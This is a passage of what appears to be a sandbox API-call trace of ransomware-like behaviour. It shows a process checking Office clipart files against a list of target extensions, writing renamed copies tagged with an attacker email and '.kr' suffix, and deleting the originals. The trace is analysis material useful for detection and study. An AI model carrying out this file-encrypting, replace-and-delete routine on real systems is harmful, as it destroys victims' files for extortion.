lstrlenW (lpString=".dbf") returned 4 [0105.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.695] lstrlenW (lpString=".1cd") returned 4 [0105.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.695] lstrlenW (lpString=".jpg") returned 4 [0105.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.695] lstrlenW (lpString=".doc") returned 4 [0105.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString=".docx") returned 5 [0105.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.695] lstrlenW (lpString=".pdf") returned 4 [0105.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString=".xls") returned 4 [0105.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.695] lstrlenW (lpString=".xlsx") returned 5 [0105.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.695] lstrlenW (lpString=".ppt") returned 4 [0105.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.695] lstrlenW (lpString=".zip") returned 4 [0105.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.695] lstrlenW (lpString=".rar") returned 4 [0105.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString=".bz2") returned 4 [0105.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.695] lstrlenW (lpString=".7z") returned 3 [0105.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.696] lstrlenW (lpString=".dbf") returned 4 [0105.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.696] lstrlenW (lpString=".1cd") returned 4 [0105.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.696] lstrlenW (lpString=".jpg") returned 4 [0105.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.696] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.696] lstrlenW (lpString="AN00853_.WMF") returned 12 [0105.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.696] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=20578) returned 1 [0105.696] CloseHandle (hObject=0x398) returned 1 [0105.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0105.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.697] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.697] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0105.697] GetLastError () returned 0x0 [0105.697] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x5062, lpOverlapped=0x0) returned 1 [0106.049] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x5070, lpOverlapped=0x0) returned 1 [0106.051] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0106.051] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0106.051] SetEndOfFile (hFile=0x358) returned 1 [0106.732] CloseHandle (hObject=0x358) returned 1 [0106.734] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0106.734] SetEndOfFile (hFile=0x398) returned 1 [0106.735] CloseHandle (hObject=0x398) returned 1 [0106.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0107.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.638] lstrlenW (lpString=".doc") returned 4 [0107.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.638] lstrlenW (lpString=".docx") returned 5 [0107.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.639] lstrlenW (lpString=".pdf") returned 4 [0107.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.639] lstrlenW (lpString=".xls") returned 4 [0107.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.639] lstrlenW (lpString=".xlsx") returned 5 [0107.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.639] lstrlenW (lpString=".ppt") returned 4 [0107.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.639] lstrlenW (lpString=".zip") returned 4 [0107.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.639] lstrlenW (lpString=".rar") returned 4 [0107.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.639] lstrlenW (lpString=".bz2") returned 4 [0107.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.639] lstrlenW (lpString=".7z") returned 3 [0107.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.639] lstrlenW (lpString=".dbf") returned 4 [0107.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.639] lstrlenW (lpString=".1cd") returned 4 [0107.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.639] lstrlenW (lpString=".jpg") returned 4 [0107.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.640] lstrlenW (lpString=".doc") returned 4 [0107.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.640] lstrlenW (lpString=".docx") returned 5 [0107.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.640] lstrlenW (lpString=".pdf") returned 4 [0107.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.640] lstrlenW (lpString=".xls") returned 4 [0107.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.640] lstrlenW (lpString=".xlsx") returned 5 [0107.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.640] lstrlenW (lpString=".ppt") returned 4 [0107.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.640] lstrlenW (lpString=".zip") returned 4 [0107.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.640] lstrlenW (lpString=".rar") returned 4 [0107.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.640] lstrlenW (lpString=".bz2") returned 4 [0107.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.640] lstrlenW (lpString=".7z") returned 3 [0107.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.641] lstrlenW (lpString=".dbf") returned 4 [0107.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.641] lstrlenW (lpString=".1cd") returned 4 [0107.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0107.641] lstrlenW (lpString=".jpg") returned 4 [0107.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.641] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.641] lstrlenW (lpString="AN04196_.WMF") returned 12 [0107.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.642] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3144) returned 1 [0107.642] CloseHandle (hObject=0x398) returned 1 [0107.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0107.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.643] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.643] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0107.643] GetLastError () returned 0x0 [0107.643] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xc48, lpOverlapped=0x0) returned 1 [0107.646] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xc50, lpOverlapped=0x0) returned 1 [0107.647] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0107.647] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0107.647] SetEndOfFile (hFile=0x35c) returned 1 [0107.647] CloseHandle (hObject=0x35c) returned 1 [0107.648] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.649] SetEndOfFile (hFile=0x398) returned 1 [0107.650] CloseHandle (hObject=0x398) returned 1 [0107.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.650] lstrlenW (lpString=".doc") returned 4 [0107.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.651] lstrlenW (lpString=".docx") returned 5 [0107.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.651] lstrlenW (lpString=".pdf") returned 4 [0107.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.651] lstrlenW (lpString=".xls") returned 4 [0107.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.651] lstrlenW (lpString=".xlsx") returned 5 [0107.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.651] lstrlenW (lpString=".ppt") returned 4 [0107.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.651] lstrlenW (lpString=".zip") returned 4 [0107.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.651] lstrlenW (lpString=".rar") returned 4 [0107.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.651] lstrlenW (lpString=".bz2") returned 4 [0107.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.651] lstrlenW (lpString=".7z") returned 3 [0107.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.651] lstrlenW (lpString=".dbf") returned 4 [0107.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.651] lstrlenW (lpString=".1cd") returned 4 [0107.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.651] lstrlenW (lpString=".jpg") returned 4 [0107.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.652] lstrlenW (lpString=".doc") returned 4 [0107.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.652] lstrlenW (lpString=".docx") returned 5 [0107.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.652] lstrlenW (lpString=".pdf") returned 4 [0107.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.652] lstrlenW (lpString=".xls") returned 4 [0107.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.652] lstrlenW (lpString=".xlsx") returned 5 [0107.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.652] lstrlenW (lpString=".ppt") returned 4 [0107.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.652] lstrlenW (lpString=".zip") returned 4 [0107.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.652] lstrlenW (lpString=".rar") returned 4 [0107.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.652] lstrlenW (lpString=".bz2") returned 4 [0107.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.652] lstrlenW (lpString=".7z") returned 3 [0107.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.652] lstrlenW (lpString=".dbf") returned 4 [0107.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.653] lstrlenW (lpString=".1cd") returned 4 [0107.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0107.653] lstrlenW (lpString=".jpg") returned 4 [0107.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.653] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.653] lstrlenW (lpString="AN04206_.WMF") returned 12 [0107.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.654] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=7668) returned 1 [0107.654] CloseHandle (hObject=0x398) returned 1 [0107.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0107.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.655] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.655] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0107.655] GetLastError () returned 0x0 [0107.655] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x1df4, lpOverlapped=0x0) returned 1 [0107.657] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x1e00, lpOverlapped=0x0) returned 1 [0107.658] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0107.659] WriteFile (in: hFile=0x35c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0107.659] SetEndOfFile (hFile=0x35c) returned 1 [0107.659] CloseHandle (hObject=0x35c) returned 1 [0107.661] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0107.661] SetEndOfFile (hFile=0x398) returned 1 [0107.662] CloseHandle (hObject=0x398) returned 1 [0107.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0107.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.663] lstrlenW (lpString=".doc") returned 4 [0107.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.663] lstrlenW (lpString=".docx") returned 5 [0107.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.663] lstrlenW (lpString=".pdf") returned 4 [0107.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.663] lstrlenW (lpString=".xls") returned 4 [0107.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.663] lstrlenW (lpString=".xlsx") returned 5 [0107.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.663] lstrlenW (lpString=".ppt") returned 4 [0107.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.663] lstrlenW (lpString=".zip") returned 4 [0107.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.663] lstrlenW (lpString=".rar") returned 4 [0107.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.663] lstrlenW (lpString=".bz2") returned 4 [0107.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.663] lstrlenW (lpString=".7z") returned 3 [0107.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.663] lstrlenW (lpString=".dbf") returned 4 [0107.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.664] lstrlenW (lpString=".1cd") returned 4 [0107.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0107.664] lstrlenW (lpString=".jpg") returned 4 [0107.664] 